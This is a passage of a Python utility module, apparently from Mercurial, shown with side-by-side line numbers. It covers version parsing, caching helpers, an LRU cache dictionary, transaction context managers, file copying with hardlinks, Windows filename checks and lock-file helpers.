998 999 >>> versiontuple(v, 3)
999 1000 (3, 6, None)
1000 1001 >>> versiontuple(v, 4)
1001 1002 (3, 6, None, None)
1002 1003
1003 1004 >>> v = b'3.9-rc'
1004 1005 >>> versiontuple(v, 2)
1005 1006 (3, 9)
1006 1007 >>> versiontuple(v, 3)
1007 1008 (3, 9, None)
1008 1009 >>> versiontuple(v, 4)
1009 1010 (3, 9, None, 'rc')
1010 1011
1011 1012 >>> v = b'3.9-rc+2-02a8fea4289b'
1012 1013 >>> versiontuple(v, 2)
1013 1014 (3, 9)
1014 1015 >>> versiontuple(v, 3)
1015 1016 (3, 9, None)
1016 1017 >>> versiontuple(v, 4)
1017 1018 (3, 9, None, 'rc+2-02a8fea4289b')
1018 1019
1019 1020 >>> versiontuple(b'4.6rc0')
1020 1021 (4, 6, None, 'rc0')
1021 1022 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1022 1023 (4, 6, None, 'rc0+12-425d55e54f98')
1023 1024 >>> versiontuple(b'.1.2.3')
1024 1025 (None, None, None, '.1.2.3')
1025 1026 >>> versiontuple(b'12.34..5')
1026 1027 (12, 34, None, '..5')
1027 1028 >>> versiontuple(b'1.2.3.4.5.6')
1028 1029 (1, 2, 3, '.4.5.6')
1029 1030 """
1030 1031 if not v:
1031 1032 v = version()
1032 1033 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1033 1034 if not m:
1034 1035 vparts, extra = '', v
1035 1036 elif m.group(2):
1036 1037 vparts, extra = m.groups()
1037 1038 else:
1038 1039 vparts, extra = m.group(1), None
1039 1040
1040 1041 vints = []
1041 1042 for i in vparts.split('.'):
1042 1043 try:
1043 1044 vints.append(int(i))
1044 1045 except ValueError:
1045 1046 break
1046 1047 # (3, 6) -> (3, 6, None)
1047 1048 while len(vints) < 3:
1048 1049 vints.append(None)
1049 1050
1050 1051 if n == 2:
1051 1052 return (vints[0], vints[1])
1052 1053 if n == 3:
1053 1054 return (vints[0], vints[1], vints[2])
1054 1055 if n == 4:
1055 1056 return (vints[0], vints[1], vints[2], extra)
1056 1057
1057 1058 def cachefunc(func):
1058 1059 '''cache the result of function calls'''
1059 1060 # XXX doesn't handle keywords args
1060 1061 if func.__code__.co_argcount == 0:
1061 1062 cache = []
1062 1063 def f():
1063 1064 if len(cache) == 0:
1064 1065 cache.append(func())
1065 1066 return cache[0]
1066 1067 return f
1067 1068 cache = {}
1068 1069 if func.__code__.co_argcount == 1:
1069 1070 # we gain a small amount of time because
1070 1071 # we don't need to pack/unpack the list
1071 1072 def f(arg):
1072 1073 if arg not in cache:
1073 1074 cache[arg] = func(arg)
1074 1075 return cache[arg]
1075 1076 else:
1076 1077 def f(*args):
1077 1078 if args not in cache:
1078 1079 cache[args] = func(*args)
1079 1080 return cache[args]
1080 1081
1081 1082 return f
1082 1083
1083 1084 class cow(object):
1084 1085 """helper class to make copy-on-write easier
1085 1086
1086 1087 Call preparewrite before doing any writes.
1087 1088 """
1088 1089
1089 1090 def preparewrite(self):
1090 1091 """call this before writes, return self or a copied new object"""
1091 1092 if getattr(self, '_copied', 0):
1092 1093 self._copied -= 1
1093 1094 return self.__class__(self)
1094 1095 return self
1095 1096
1096 1097 def copy(self):
1097 1098 """always do a cheap copy"""
1098 1099 self._copied = getattr(self, '_copied', 0) + 1
1099 1100 return self
1100 1101
1101 1102 class sortdict(collections.OrderedDict):
1102 1103 '''a simple sorted dictionary
1103 1104
1104 1105 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1105 1106 >>> d2 = d1.copy()
1106 1107 >>> d2
1107 1108 sortdict([('a', 0), ('b', 1)])
1108 1109 >>> d2.update([(b'a', 2)])
1109 1110 >>> list(d2.keys()) # should still be in last-set order
1110 1111 ['b', 'a']
1111 1112 '''
1112 1113
1113 1114 def __setitem__(self, key, value):
1114 1115 if key in self:
1115 1116 del self[key]
1116 1117 super(sortdict, self).__setitem__(key, value)
1117 1118
1118 1119 if pycompat.ispypy:
1119 1120 # __setitem__() isn't called as of PyPy 5.8.0
1120 1121 def update(self, src):
1121 1122 if isinstance(src, dict):
1122 1123 src = src.iteritems()
1123 1124 for k, v in src:
1124 1125 self[k] = v
1125 1126
1126 1127 class cowdict(cow, dict):
1127 1128 """copy-on-write dict
1128 1129
1129 1130 Be sure to call d = d.preparewrite() before writing to d.
1130 1131
1131 1132 >>> a = cowdict()
1132 1133 >>> a is a.preparewrite()
1133 1134 True
1134 1135 >>> b = a.copy()
1135 1136 >>> b is a
1136 1137 True
1137 1138 >>> c = b.copy()
1138 1139 >>> c is a
1139 1140 True
1140 1141 >>> a = a.preparewrite()
1141 1142 >>> b is a
1142 1143 False
1143 1144 >>> a is a.preparewrite()
1144 1145 True
1145 1146 >>> c = c.preparewrite()
1146 1147 >>> b is c
1147 1148 False
1148 1149 >>> b is b.preparewrite()
1149 1150 True
1150 1151 """
1151 1152
1152 1153 class cowsortdict(cow, sortdict):
1153 1154 """copy-on-write sortdict
1154 1155
1155 1156 Be sure to call d = d.preparewrite() before writing to d.
1156 1157 """
1157 1158
1158 1159 class transactional(object):
1159 1160 """Base class for making a transactional type into a context manager."""
1160 1161 __metaclass__ = abc.ABCMeta
1161 1162
1162 1163 @abc.abstractmethod
1163 1164 def close(self):
1164 1165 """Successfully closes the transaction."""
1165 1166
1166 1167 @abc.abstractmethod
1167 1168 def release(self):
1168 1169 """Marks the end of the transaction.
1169 1170
1170 1171 If the transaction has not been closed, it will be aborted.
1171 1172 """
1172 1173
1173 1174 def __enter__(self):
1174 1175 return self
1175 1176
1176 1177 def __exit__(self, exc_type, exc_val, exc_tb):
1177 1178 try:
1178 1179 if exc_type is None:
1179 1180 self.close()
1180 1181 finally:
1181 1182 self.release()
1182 1183
1183 1184 @contextlib.contextmanager
1184 1185 def acceptintervention(tr=None):
1185 1186 """A context manager that closes the transaction on InterventionRequired
1186 1187
1187 1188 If no transaction was provided, this simply runs the body and returns
1188 1189 """
1189 1190 if not tr:
1190 1191 yield
1191 1192 return
1192 1193 try:
1193 1194 yield
1194 1195 tr.close()
1195 1196 except error.InterventionRequired:
1196 1197 tr.close()
1197 1198 raise
1198 1199 finally:
1199 1200 tr.release()
1200 1201
1201 1202 @contextlib.contextmanager
1202 1203 def nullcontextmanager():
1203 1204 yield
1204 1205
1205 1206 class _lrucachenode(object):
1206 1207 """A node in a doubly linked list.
1207 1208
1208 1209 Holds a reference to nodes on either side as well as a key-value
1209 1210 pair for the dictionary entry.
1210 1211 """
1211 1212 __slots__ = (u'next', u'prev', u'key', u'value')
1212 1213
1213 1214 def __init__(self):
1214 1215 self.next = None
1215 1216 self.prev = None
1216 1217
1217 1218 self.key = _notset
1218 1219 self.value = None
1219 1220
1220 1221 def markempty(self):
1221 1222 """Mark the node as emptied."""
1222 1223 self.key = _notset
1223 1224
1224 1225 class lrucachedict(object):
1225 1226 """Dict that caches most recent accesses and sets.
1226 1227
1227 1228 The dict consists of an actual backing dict - indexed by original
1228 1229 key - and a doubly linked circular list defining the order of entries in
1229 1230 the cache.
1230 1231
1231 1232 The head node is the newest entry in the cache. If the cache is full,
1232 1233 we recycle head.prev and make it the new head. Cache accesses result in
1233 1234 the node being moved to before the existing head and being marked as the
1234 1235 new head node.
1235 1236 """
1236 1237 def __init__(self, max):
1237 1238 self._cache = {}
1238 1239
1239 1240 self._head = head = _lrucachenode()
1240 1241 head.prev = head
1241 1242 head.next = head
1242 1243 self._size = 1
1243 1244 self._capacity = max
1244 1245
1245 1246 def __len__(self):
1246 1247 return len(self._cache)
1247 1248
1248 1249 def __contains__(self, k):
1249 1250 return k in self._cache
1250 1251
1251 1252 def __iter__(self):
1252 1253 # We don't have to iterate in cache order, but why not.
1253 1254 n = self._head
1254 1255 for i in range(len(self._cache)):
1255 1256 yield n.key
1256 1257 n = n.next
1257 1258
1258 1259 def __getitem__(self, k):
1259 1260 node = self._cache[k]
1260 1261 self._movetohead(node)
1261 1262 return node.value
1262 1263
1263 1264 def __setitem__(self, k, v):
1264 1265 node = self._cache.get(k)
1265 1266 # Replace existing value and mark as newest.
1266 1267 if node is not None:
1267 1268 node.value = v
1268 1269 self._movetohead(node)
1269 1270 return
1270 1271
1271 1272 if self._size < self._capacity:
1272 1273 node = self._addcapacity()
1273 1274 else:
1274 1275 # Grab the last/oldest item.
1275 1276 node = self._head.prev
1276 1277
1277 1278 # At capacity. Kill the old entry.
1278 1279 if node.key is not _notset:
1279 1280 del self._cache[node.key]
1280 1281
1281 1282 node.key = k
1282 1283 node.value = v
1283 1284 self._cache[k] = node
1284 1285 # And mark it as newest entry. No need to adjust order since it
1285 1286 # is already self._head.prev.
1286 1287 self._head = node
1287 1288
1288 1289 def __delitem__(self, k):
1289 1290 node = self._cache.pop(k)
1290 1291 node.markempty()
1291 1292
1292 1293 # Temporarily mark as newest item before re-adjusting head to make
1293 1294 # this node the oldest item.
1294 1295 self._movetohead(node)
1295 1296 self._head = node.next
1296 1297
1297 1298 # Additional dict methods.
1298 1299
1299 1300 def get(self, k, default=None):
1300 1301 try:
1301 1302 return self._cache[k].value
1302 1303 except KeyError:
1303 1304 return default
1304 1305
1305 1306 def clear(self):
1306 1307 n = self._head
1307 1308 while n.key is not _notset:
1308 1309 n.markempty()
1309 1310 n = n.next
1310 1311
1311 1312 self._cache.clear()
1312 1313
1313 1314 def copy(self):
1314 1315 result = lrucachedict(self._capacity)
1315 1316 n = self._head.prev
1316 1317 # Iterate in oldest-to-newest order, so the copy has the right ordering
1317 1318 for i in range(len(self._cache)):
1318 1319 result[n.key] = n.value
1319 1320 n = n.prev
1320 1321 return result
1321 1322
1322 1323 def _movetohead(self, node):
1323 1324 """Mark a node as the newest, making it the new head.
1324 1325
1325 1326 When a node is accessed, it becomes the freshest entry in the LRU
1326 1327 list, which is denoted by self._head.
1327 1328
1328 1329 Visually, let's make ``N`` the new head node (* denotes head):
1329 1330
1330 1331 previous/oldest <-> head <-> next/next newest
1331 1332
1332 1333 ----<->--- A* ---<->-----
1333 1334 | |
1334 1335 E <-> D <-> N <-> C <-> B
1335 1336
1336 1337 To:
1337 1338
1338 1339 ----<->--- N* ---<->-----
1339 1340 | |
1340 1341 E <-> D <-> C <-> B <-> A
1341 1342
1342 1343 This requires the following moves:
1343 1344
1344 1345 C.next = D (node.prev.next = node.next)
1345 1346 D.prev = C (node.next.prev = node.prev)
1346 1347 E.next = N (head.prev.next = node)
1347 1348 N.prev = E (node.prev = head.prev)
1348 1349 N.next = A (node.next = head)
1349 1350 A.prev = N (head.prev = node)
1350 1351 """
1351 1352 head = self._head
1352 1353 # C.next = D
1353 1354 node.prev.next = node.next
1354 1355 # D.prev = C
1355 1356 node.next.prev = node.prev
1356 1357 # N.prev = E
1357 1358 node.prev = head.prev
1358 1359 # N.next = A
1359 1360 # It is tempting to do just "head" here, however if node is
1360 1361 # adjacent to head, this will do bad things.
1361 1362 node.next = head.prev.next
1362 1363 # E.next = N
1363 1364 node.next.prev = node
1364 1365 # A.prev = N
1365 1366 node.prev.next = node
1366 1367
1367 1368 self._head = node
1368 1369
1369 1370 def _addcapacity(self):
1370 1371 """Add a node to the circular linked list.
1371 1372
1372 1373 The new node is inserted before the head node.
1373 1374 """
1374 1375 head = self._head
1375 1376 node = _lrucachenode()
1376 1377 head.prev.next = node
1377 1378 node.prev = head.prev
1378 1379 node.next = head
1379 1380 head.prev = node
1380 1381 self._size += 1
1381 1382 return node
1382 1383
1383 1384 def lrucachefunc(func):
1384 1385 '''cache most recent results of function calls'''
1385 1386 cache = {}
1386 1387 order = collections.deque()
1387 1388 if func.__code__.co_argcount == 1:
1388 1389 def f(arg):
1389 1390 if arg not in cache:
1390 1391 if len(cache) > 20:
1391 1392 del cache[order.popleft()]
1392 1393 cache[arg] = func(arg)
1393 1394 else:
1394 1395 order.remove(arg)
1395 1396 order.append(arg)
1396 1397 return cache[arg]
1397 1398 else:
1398 1399 def f(*args):
1399 1400 if args not in cache:
1400 1401 if len(cache) > 20:
1401 1402 del cache[order.popleft()]
1402 1403 cache[args] = func(*args)
1403 1404 else:
1404 1405 order.remove(args)
1405 1406 order.append(args)
1406 1407 return cache[args]
1407 1408
1408 1409 return f
1409 1410
1410 1411 class propertycache(object):
1411 1412 def __init__(self, func):
1412 1413 self.func = func
1413 1414 self.name = func.__name__
1414 1415 def __get__(self, obj, type=None):
1415 1416 result = self.func(obj)
1416 1417 self.cachevalue(obj, result)
1417 1418 return result
1418 1419
1419 1420 def cachevalue(self, obj, value):
1420 1421 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1421 1422 obj.__dict__[self.name] = value
1422 1423
1423 1424 def clearcachedproperty(obj, prop):
1424 1425 '''clear a cached property value, if one has been set'''
1425 1426 if prop in obj.__dict__:
1426 1427 del obj.__dict__[prop]
1427 1428
1428 1429 def increasingchunks(source, min=1024, max=65536):
1429 1430 '''return no less than min bytes per chunk while data remains,
1430 1431 doubling min after each chunk until it reaches max'''
1431 1432 def log2(x):
1432 1433 if not x:
1433 1434 return 0
1434 1435 i = 0
1435 1436 while x:
1436 1437 x >>= 1
1437 1438 i += 1
1438 1439 return i - 1
1439 1440
1440 1441 buf = []
1441 1442 blen = 0
1442 1443 for chunk in source:
1443 1444 buf.append(chunk)
1444 1445 blen += len(chunk)
1445 1446 if blen >= min:
1446 1447 if min < max:
1447 1448 min = min << 1
1448 1449 nmin = 1 << log2(blen)
1449 1450 if nmin > min:
1450 1451 min = nmin
1451 1452 if min > max:
1452 1453 min = max
1453 1454 yield ''.join(buf)
1454 1455 blen = 0
1455 1456 buf = []
1456 1457 if buf:
1457 1458 yield ''.join(buf)
1458 1459
1459 1460 def always(fn):
1460 1461 return True
1461 1462
1462 1463 def never(fn):
1463 1464 return False
1464 1465
1465 1466 def nogc(func):
1466 1467 """disable garbage collector
1467 1468
1468 1469 Python's garbage collector triggers a GC each time a certain number of
1469 1470 container objects (the number being defined by gc.get_threshold()) are
1470 1471 allocated even when marked not to be tracked by the collector. Tracking has
1471 1472 no effect on when GCs are triggered, only on what objects the GC looks
1472 1473 into. As a workaround, disable GC while building complex (huge)
1473 1474 containers.
1474 1475
1475 1476 This garbage collector issue have been fixed in 2.7. But it still affect
1476 1477 CPython's performance.
1477 1478 """
1478 1479 def wrapper(*args, **kwargs):
1479 1480 gcenabled = gc.isenabled()
1480 1481 gc.disable()
1481 1482 try:
1482 1483 return func(*args, **kwargs)
1483 1484 finally:
1484 1485 if gcenabled:
1485 1486 gc.enable()
1486 1487 return wrapper
1487 1488
1488 1489 if pycompat.ispypy:
1489 1490 # PyPy runs slower with gc disabled
1490 1491 nogc = lambda x: x
1491 1492
1492 1493 def pathto(root, n1, n2):
1493 1494 '''return the relative path from one place to another.
1494 1495 root should use os.sep to separate directories
1495 1496 n1 should use os.sep to separate directories
1496 1497 n2 should use "/" to separate directories
1497 1498 returns an os.sep-separated path.
1498 1499
1499 1500 If n1 is a relative path, it's assumed it's
1500 1501 relative to root.
1501 1502 n2 should always be relative to root.
1502 1503 '''
1503 1504 if not n1:
1504 1505 return localpath(n2)
1505 1506 if os.path.isabs(n1):
1506 1507 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1507 1508 return os.path.join(root, localpath(n2))
1508 1509 n2 = '/'.join((pconvert(root), n2))
1509 1510 a, b = splitpath(n1), n2.split('/')
1510 1511 a.reverse()
1511 1512 b.reverse()
1512 1513 while a and b and a[-1] == b[-1]:
1513 1514 a.pop()
1514 1515 b.pop()
1515 1516 b.reverse()
1516 1517 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1517 1518
1518 1519 # the location of data files matching the source code
1519 1520 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1520 1521 # executable version (py2exe) doesn't support __file__
1521 1522 datapath = os.path.dirname(pycompat.sysexecutable)
1522 1523 else:
1523 1524 datapath = os.path.dirname(pycompat.fsencode(__file__))
1524 1525
1525 1526 i18n.setdatapath(datapath)
1526 1527
1527 1528 def checksignature(func):
1528 1529 '''wrap a function with code to check for calling errors'''
1529 1530 def check(*args, **kwargs):
1530 1531 try:
1531 1532 return func(*args, **kwargs)
1532 1533 except TypeError:
1533 1534 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1534 1535 raise error.SignatureError
1535 1536 raise
1536 1537
1537 1538 return check
1538 1539
1539 1540 # a whilelist of known filesystems where hardlink works reliably
1540 1541 _hardlinkfswhitelist = {
1541 1542 'apfs',
1542 1543 'btrfs',
1543 1544 'ext2',
1544 1545 'ext3',
1545 1546 'ext4',
1546 1547 'hfs',
1547 1548 'jfs',
1548 1549 'NTFS',
1549 1550 'reiserfs',
1550 1551 'tmpfs',
1551 1552 'ufs',
1552 1553 'xfs',
1553 1554 'zfs',
1554 1555 }
1555 1556
1556 1557 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1557 1558 '''copy a file, preserving mode and optionally other stat info like
1558 1559 atime/mtime
1559 1560
1560 1561 checkambig argument is used with filestat, and is useful only if
1561 1562 destination file is guarded by any lock (e.g. repo.lock or
1562 1563 repo.wlock).
1563 1564
1564 1565 copystat and checkambig should be exclusive.
1565 1566 '''
1566 1567 assert not (copystat and checkambig)
1567 1568 oldstat = None
1568 1569 if os.path.lexists(dest):
1569 1570 if checkambig:
1570 1571 oldstat = checkambig and filestat.frompath(dest)
1571 1572 unlink(dest)
1572 1573 if hardlink:
1573 1574 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1574 1575 # unless we are confident that dest is on a whitelisted filesystem.
1575 1576 try:
1576 1577 fstype = getfstype(os.path.dirname(dest))
1577 1578 except OSError:
1578 1579 fstype = None
1579 1580 if fstype not in _hardlinkfswhitelist:
1580 1581 hardlink = False
1581 1582 if hardlink:
1582 1583 try:
1583 1584 oslink(src, dest)
1584 1585 return
1585 1586 except (IOError, OSError):
1586 1587 pass # fall back to normal copy
1587 1588 if os.path.islink(src):
1588 1589 os.symlink(os.readlink(src), dest)
1589 1590 # copytime is ignored for symlinks, but in general copytime isn't needed
1590 1591 # for them anyway
1591 1592 else:
1592 1593 try:
1593 1594 shutil.copyfile(src, dest)
1594 1595 if copystat:
1595 1596 # copystat also copies mode
1596 1597 shutil.copystat(src, dest)
1597 1598 else:
1598 1599 shutil.copymode(src, dest)
1599 1600 if oldstat and oldstat.stat:
1600 1601 newstat = filestat.frompath(dest)
1601 1602 if newstat.isambig(oldstat):
1602 1603 # stat of copied file is ambiguous to original one
1603 1604 advanced = (
1604 1605 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1605 1606 os.utime(dest, (advanced, advanced))
1606 1607 except shutil.Error as inst:
1607 1608 raise error.Abort(str(inst))
1608 1609
1609 1610 def copyfiles(src, dst, hardlink=None, progress=None):
1610 1611 """Copy a directory tree using hardlinks if possible."""
1611 1612 num = 0
1612 1613
1613 1614 def settopic():
1614 1615 if progress:
1615 1616 progress.topic = _('linking') if hardlink else _('copying')
1616 1617
1617 1618 if os.path.isdir(src):
1618 1619 if hardlink is None:
1619 1620 hardlink = (os.stat(src).st_dev ==
1620 1621 os.stat(os.path.dirname(dst)).st_dev)
1621 1622 settopic()
1622 1623 os.mkdir(dst)
1623 1624 for name, kind in listdir(src):
1624 1625 srcname = os.path.join(src, name)
1625 1626 dstname = os.path.join(dst, name)
1626 1627 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1627 1628 num += n
1628 1629 else:
1629 1630 if hardlink is None:
1630 1631 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1631 1632 os.stat(os.path.dirname(dst)).st_dev)
1632 1633 settopic()
1633 1634
1634 1635 if hardlink:
1635 1636 try:
1636 1637 oslink(src, dst)
1637 1638 except (IOError, OSError):
1638 1639 hardlink = False
1639 1640 shutil.copy(src, dst)
1640 1641 else:
1641 1642 shutil.copy(src, dst)
1642 1643 num += 1
1643 1644 if progress:
1644 1645 progress.increment()
1645 1646
1646 1647 return hardlink, num
1647 1648
1648 1649 _winreservednames = {
1649 1650 'con', 'prn', 'aux', 'nul',
1650 1651 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1651 1652 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1652 1653 }
1653 1654 _winreservedchars = ':*?"<>|'
1654 1655 def checkwinfilename(path):
1655 1656 r'''Check that the base-relative path is a valid filename on Windows.
1656 1657 Returns None if the path is ok, or a UI string describing the problem.
1657 1658
1658 1659 >>> checkwinfilename(b"just/a/normal/path")
1659 1660 >>> checkwinfilename(b"foo/bar/con.xml")
1660 1661 "filename contains 'con', which is reserved on Windows"
1661 1662 >>> checkwinfilename(b"foo/con.xml/bar")
1662 1663 "filename contains 'con', which is reserved on Windows"
1663 1664 >>> checkwinfilename(b"foo/bar/xml.con")
1664 1665 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1665 1666 "filename contains 'AUX', which is reserved on Windows"
1666 1667 >>> checkwinfilename(b"foo/bar/bla:.txt")
1667 1668 "filename contains ':', which is reserved on Windows"
1668 1669 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1669 1670 "filename contains '\\x07', which is invalid on Windows"
1670 1671 >>> checkwinfilename(b"foo/bar/bla ")
1671 1672 "filename ends with ' ', which is not allowed on Windows"
1672 1673 >>> checkwinfilename(b"../bar")
1673 1674 >>> checkwinfilename(b"foo\\")
1674 1675 "filename ends with '\\', which is invalid on Windows"
1675 1676 >>> checkwinfilename(b"foo\\/bar")
1676 1677 "directory name ends with '\\', which is invalid on Windows"
1677 1678 '''
1678 1679 if path.endswith('\\'):
1679 1680 return _("filename ends with '\\', which is invalid on Windows")
1680 1681 if '\\/' in path:
1681 1682 return _("directory name ends with '\\', which is invalid on Windows")
1682 1683 for n in path.replace('\\', '/').split('/'):
1683 1684 if not n:
1684 1685 continue
1685 1686 for c in _filenamebytestr(n):
1686 1687 if c in _winreservedchars:
1687 1688 return _("filename contains '%s', which is reserved "
1688 1689 "on Windows") % c
1689 1690 if ord(c) <= 31:
1690 1691 return _("filename contains '%s', which is invalid "
1691 1692 "on Windows") % stringutil.escapestr(c)
1692 1693 base = n.split('.')[0]
1693 1694 if base and base.lower() in _winreservednames:
1694 1695 return _("filename contains '%s', which is reserved "
1695 1696 "on Windows") % base
1696 1697 t = n[-1:]
1697 1698 if t in '. ' and n not in '..':
1698 1699 return _("filename ends with '%s', which is not allowed "
1699 1700 "on Windows") % t
1700 1701
1701 1702 if pycompat.iswindows:
1702 1703 checkosfilename = checkwinfilename
1703 1704 timer = time.clock
1704 1705 else:
1705 1706 checkosfilename = platform.checkosfilename
1706 1707 timer = time.time
1707 1708
1708 1709 if safehasattr(time, "perf_counter"):
1709 1710 timer = time.perf_counter
1710 1711
1711 1712 def makelock(info, pathname):
1712 1713 """Create a lock file atomically if possible
1713 1714
1714 1715 This may leave a stale lock file if symlink isn't supported and signal
1715 1716 interrupt is enabled.
1716 1717 """
1717 1718 try:
1718 1719 return os.symlink(info, pathname)
1719 1720 except OSError as why:
1720 1721 if why.errno == errno.EEXIST:
1721 1722 raise
1722 1723 except AttributeError: # no symlink in os
1723 1724 pass
1724 1725
1725 1726 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1726 1727 ld = os.open(pathname, flags)
1727 1728 os.write(ld, info)
1728 1729 os.close(ld)
1729 1730
1730 1731 def readlock(pathname):
1731 1732 try:
1732 1733 return os.readlink(pathname)
1733 1734 except OSError as why:
1734 1735 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1735 1736 raise
1736 1737 except AttributeError: # no symlink in os
1737 1738 pass
1738 1739 fp = posixfile(pathname, 'rb')
1739 1740 r = fp.read()
1740 1741 fp.close()
1741 1742 return r
1742 1743
1743 1744 def fstat(fp):
1744 1745 '''stat file object that may not have fileno method.'''
1745 1746 try:
1746 1747 return os.fstat(fp.fileno())
1747 1748 except AttributeError:
1748 1749 return os.stat(fp.name)
1749 1750
1750 1751 # File system features
1751 1752
1752 1753 def fscasesensitive(path):
1753 1754 """
1754 1755 Return true if the given path is on a case-sensitive filesystem
1755 1756
1756 1757 Requires a path (like /foo/.hg) ending with a foldable final
1757 1758 directory component.
1758 1759 """
1759 1760 s1 = os.lstat(path)
1760 1761 d, b = os.path.split(path)
1761 1762 b2 = b.upper()
1762 1763 if b == b2:
1763 1764 b2 = b.lower()
1764 1765 if b == b2:
1765 1766 return True # no evidence against case sensitivity
1766 1767 p2 = os.path.join(d, b2)
1767 1768 try:
1768 1769 s2 = os.lstat(p2)
1769 1770 if s2 == s1:
1770 1771 return False
1771 1772 return True
1772 1773 except OSError:
1773 1774 return True
1774 1775
1775 1776 try:
1776 1777 import re2
1777 1778 _re2 = None
1778 1779 except ImportError:
1779 1780 _re2 = False
1780 1781
1781 1782 class _re(object):
1782 1783 def _checkre2(self):
1783 1784 global _re2
1784 1785 try:
1785 1786 # check if match works, see issue3964
1786 1787 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1787 1788 except ImportError:
1788 1789 _re2 = False
1789 1790
1790 1791 def compile(self, pat, flags=0):
1791 1792 '''Compile a regular expression, using re2 if possible
1792 1793
1793 1794 For best performance, use only re2-compatible regexp features. The
1794 1795 only flags from the re module that are re2-compatible are
1795 1796 IGNORECASE and MULTILINE.'''
1796 1797 if _re2 is None:
1797 1798 self._checkre2()
1798 1799 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1799 1800 if flags & remod.IGNORECASE:
1800 1801 pat = '(?i)' + pat
1801 1802 if flags & remod.MULTILINE:
1802 1803 pat = '(?m)' + pat
1803 1804 try:
1804 1805 return re2.compile(pat)
1805 1806 except re2.error:
1806 1807 pass
1807 1808 return remod.compile(pat, flags)
1808 1809
1809 1810 @propertycache
1810 1811 def escape(self):
1811 1812 '''Return the version of escape corresponding to self.compile.
1812 1813
1813 1814 This is imperfect because whether re2 or re is used for a particular
1814 1815 function depends on the flags, etc, but it's the best we can do.
1815 1816 '''
1816 1817 global _re2
1817 1818 if _re2 is None:
1818 1819 self._checkre2()
1819 1820 if _re2:
1820 1821 return re2.escape
1821 1822 else:
1822 1823 return remod.escape
1823 1824
1824 1825 re = _re()
1825 1826
1826 1827 _fspathcache = {}
1827 1828 def fspath(name, root):
1828 1829 '''Get name in the case stored in the filesystem
1829 1830
1830 1831 The name should be relative to root, and be normcase-ed for efficiency.
1831 1832
1832 1833 Note that this function is unnecessary, and should not be
1833 1834 called, for case-sensitive filesystems (simply because it's expensive).
1834 1835
1835 1836 The root should be normcase-ed, too.
1836 1837 '''
1837 1838 def _makefspathcacheentry(dir):
1838 1839 return dict((normcase(n), n) for n in os.listdir(dir))
1839 1840
1840 1841 seps = pycompat.ossep
1841 1842 if pycompat.osaltsep:
1842 1843 seps = seps + pycompat.osaltsep
1843 1844 # Protect backslashes. This gets silly very quickly.
1844 1845 seps.replace('\\','\\\\')
1845 1846 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1846 1847 dir = os.path.normpath(root)
1847 1848 result = []
1848 1849 for part, sep in pattern.findall(name):
1849 1850 if sep:
1850 1851 result.append(sep)
1851 1852 continue
1852 1853
1853 1854 if dir not in _fspathcache:
1854 1855 _fspathcache[dir] = _makefspathcacheentry(dir)
1855 1856 contents = _fspathcache[dir]
1856 1857
1857 1858 found = contents.get(part)
1858 1859 if not found:
1859 1860 # retry "once per directory" per "dirstate.walk" which
1860 1861 # may take place for each patches of "hg qpush", for example
1861 1862 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1862 1863 found = contents.get(part)
1863 1864
1864 1865 result.append(found or part)
1865 1866 dir = os.path.join(dir, part)
1866 1867
1867 1868 return ''.join(result)
1868 1869
1869 1870 def checknlink(testfile):
1870 1871 '''check whether hardlink count reporting works properly'''
1871 1872
1872 1873 # testfile may be open, so we need a separate file for checking to
1873 1874 # work around issue2543 (or testfile may get lost on Samba shares)
1874 1875 f1, f2, fp = None, None, None
1875 1876 try:
1876 1877 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1877 1878 suffix='1~', dir=os.path.dirname(testfile))
1878 1879 os.close(fd)
1879 1880 f2 = '%s2~' % f1[:-2]
1880 1881
1881 1882 oslink(f1, f2)
1882 1883 # nlinks() may behave differently for files on Windows shares if
1883 1884 # the file is open.
1884 1885 fp = posixfile(f2)
1885 1886 return nlinks(f2) > 1
1886 1887 except OSError:
1887 1888 return False
1888 1889 finally:
1889 1890 if fp is not None:
1890 1891 fp.close()
1891 1892 for f in (f1, f2):
1892 1893 try:
1893 1894 if f is not None:
1894 1895 os.unlink(f)
1895 1896 except OSError:
1896 1897 pass
1897 1898
1898 1899 def endswithsep(path):
1899 1900 '''Check path ends with os.sep or os.altsep.'''
1900 1901 return (path.endswith(pycompat.ossep)
1901 1902 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1902 1903
1903 1904 def splitpath(path):
1904 1905 '''Split path by os.sep.
1905 1906 Note that this function does not use os.altsep because this is
1906 1907 an alternative of simple "xxx.split(os.sep)".
1907 1908 It is recommended to use os.path.normpath() before using this
1908 1909 function if need.'''
1909 1910 return path.split(pycompat.ossep)
1910 1911
1911 1912 def mktempcopy(name, emptyok=False, createmode=None):
1912 1913 """Create a temporary file with the same contents from name
1913 1914
1914 1915 The permission bits are copied from the original file.
1915 1916
1916 1917 If the temporary file is going to be truncated immediately, you
1917 1918 can use emptyok=True as an optimization.
1918 1919
1919 1920 Returns the name of the temporary file.
1920 1921 """
1921 1922 d, fn = os.path.split(name)
1922 1923 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
